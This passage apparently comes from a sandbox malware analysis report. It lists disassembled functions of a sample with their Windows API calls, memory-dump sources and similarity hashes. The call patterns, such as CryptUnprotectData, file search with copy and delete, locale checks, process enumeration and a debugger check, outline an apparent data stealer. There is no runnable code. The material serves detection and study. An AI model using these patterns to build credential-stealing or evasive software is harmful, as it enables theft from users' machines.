Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction ID: c6b5f16b8e64a039395c756452f223e60a42b12f57dc181953bac84f3bc60cba
Opcode Fuzzy Hash: 19e1283fff7b9399e04994cea590238412c6d56de050716b623985b6cf8af604
Instruction Fuzzy Hash: AA914272A207049BCB14FBF4DD55DEE737AAF95300F10476CA84A96148EF389B588F91

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 3e4cb658669e0da854d1c83ae07f47800a235198039fbdbe3b22788fe6e17176
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: 3e4cb658669e0da854d1c83ae07f47800a235198039fbdbe3b22788fe6e17176
Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 00416920 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,00792F70,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,00792F70,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00792F70,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9
(*y, xrefs: 0041697E

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: (*y$B
API String ID: 2533653975-309670884
Opcode ID: 25b1fc0de802deb85f557e74d5206f7c9883577e3e1e1b34651bba61df55aea8
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 25b1fc0de802deb85f557e74d5206f7c9883577e3e1e1b34651bba61df55aea8
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 022CF917 Relevance: 12.3, APIs: 8, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 022CF985
StrCmpCA.SHLWAPI(?,004215BC), ref: 022CF9D6
StrCmpCA.SHLWAPI(?,004215C0), ref: 022CF9EC
FindNextFileA.KERNEL32(000000FF,?), ref: 022CFD18
FindClose.KERNEL32(000000FF), ref: 022CFD2A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction ID: 9c6515491348ced743e3935e0b151c931453b8388f1e6d6281e8aba3c4cff97b
Opcode Fuzzy Hash: 876e2798c7396c4a4386e432ec3129558d1ad4a2c594bc6eff74cfd2f440caaf
Instruction Fuzzy Hash: 37B16171A203589BCB28FFE4DD91EEE737AAF55300F1082ADA40A56158EF345B49CF91

Function 022CE697 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214F0,00420D73), ref: 022CE709
StrCmpCA.SHLWAPI(?,004214F8), ref: 022CE759
StrCmpCA.SHLWAPI(?,004214FC), ref: 022CE76F
FindNextFileA.KERNEL32(000000FF,?), ref: 022CEE46

Strings

@0y, xrefs: 022CE936, 022CE93B, 022CEA66, 022CEA6C, 022CEBD6, 022CEBDC
(Py, xrefs: 022CE869, 022CE86F

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: (Py$@0y
API String ID: 433455689-807888910
Opcode ID: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction ID: 82e7de573d969f1835642412ffd2ac64c0f503e8b337fb10474b77eaf88447ae
Opcode Fuzzy Hash: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction Fuzzy Hash: 3B124E71A203589BCB18FBE4DD95EED733AAF64300F5046ADA10A52198EF346F88CF51

Function 022C1937 Relevance: 11.0, APIs: 7, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042511C,?,?,?,004251C4,?,?,00000000,?,00000000), ref: 022C1B8A
StrCmpCA.SHLWAPI(?,0042526C), ref: 022C1BDA
StrCmpCA.SHLWAPI(?,00425314), ref: 022C1BF0
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 022C1FA7
DeleteFileA.KERNEL32(00000000), ref: 022C2031
FindNextFileA.KERNEL32(000000FF,?), ref: 022C2087
FindClose.KERNEL32(000000FF), ref: 022C2099

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID:
API String ID: 1415058207-0
Opcode ID: 938f2ba7dd2a3d64883e0b34e36389f7e533753778dd0480aca93901e7f43848
Instruction ID: 5db1ff26bd3ece8c2e4893695d5e34c85553e1e503a9cf305565941426e1d9c4
Opcode Fuzzy Hash: 938f2ba7dd2a3d64883e0b34e36389f7e533753778dd0480aca93901e7f43848
Instruction Fuzzy Hash: E9123C71920358ABCB19FBE4CD95EED737AAF24300F54429DA10A62198EF346F89CF50

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 198db3aa5887d918672e435fd44133e26d31687077b0e483e746916a964154e5
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 198db3aa5887d918672e435fd44133e26d31687077b0e483e746916a964154e5
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 022CCA87 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022CCABA
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 022CCAD8
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 022CCAE3
memcpy.MSVCRT(?,?,?), ref: 022CCB79
lstrcat.KERNEL32(?,00420B46), ref: 022CCBAA
lstrcat.KERNEL32(?,00420B47), ref: 022CCBBE
lstrcat.KERNEL32(?,00420B4E), ref: 022CCBDF

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction ID: 6e5a62b3712b0c31b7478b0746c4088761a0352dc74290c84553fc54ce6fa778
Opcode Fuzzy Hash: 8afa8c5297eb8f4e39a0d79a998b97b224f9fa32b0e1124346c3568978b0ec32
Instruction Fuzzy Hash: 6541807895421AEFDB10DFD0DD88BEEBBB8BB44304F1045A9E509A6284D7745B84CF91

Function 0040C820 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C853
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00792FC0), ref: 0040C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
memcpy.MSVCRT(?,?,?), ref: 0040C912
lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 022D7DF7 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 022D7E48
LocalAlloc.KERNEL32(00000040,?), ref: 022D7E60
GetKeyboardLayoutList.USER32(?,00000000), ref: 022D7E74
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 022D7EC9
LocalFree.KERNEL32(00000000), ref: 022D7F89

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID:
API String ID: 3090951853-0
Opcode ID: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction ID: afd9527a827bcb272ac1be765c7c566a724b4587b72bb8e44166842155630b25
Opcode Fuzzy Hash: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction Fuzzy Hash: C6412A71960228ABCB24DF94DC89FEDB3B5FB54704F204299E009A6294DB782F85CF91

Function 022DB5A1 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 022DBE09
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 022DBE1E
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 022DBE29
GetCurrentProcess.KERNEL32(C0000409), ref: 022DBE45
TerminateProcess.KERNEL32(00000000), ref: 022DBE4C

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 788d850d13cb3a8b6c372f95439151463eb30cd959cb2ec778f8ec80857d2dd8
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: 5B21A0BC9103059FDB14DF69F8896963BE4FB0A314F51403AE90A872A4EBB05985EF49

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 022C74A7 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 022C74B4
RtlAllocateHeap.NTDLL(00000000), ref: 022C74BB
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 022C74E8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 022C750B
LocalFree.KERNEL32(?), ref: 022C7515

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: 9817fafd616a3c3f236b6159a8ba0aaf3880590db66b457e3a33513daf84744b
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: E6010075A90208BFEB10DFD4DD45F9D77B9EB44704F108159FB05AA2C4D6B0AA00CB65

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 022D9867 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 022D9885
Process32First.KERNEL32(00420ACA,00000128), ref: 022D9899
Process32Next.KERNEL32(00420ACA,00000128), ref: 022D98AE
StrCmpCA.SHLWAPI(?,00000000), ref: 022D98C3
CloseHandle.KERNEL32(00420ACA), ref: 022D98E1

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 429a59aad541c256cfc531b9853980317b8ec721394f83a157364932b40ad3ee
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F401E9B9A60208FFDB20DFE4C954BEDB7F9EF49700F004189A505E6244D7759A80CF51

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 022D9107 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,022C53EB,40000001,00000000,00000000,?,022C53EB), ref: 022D9127

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: aadf5fdad102bed8721f4076c83f969945bfe19a3c71554fdb49bb5efa915dad
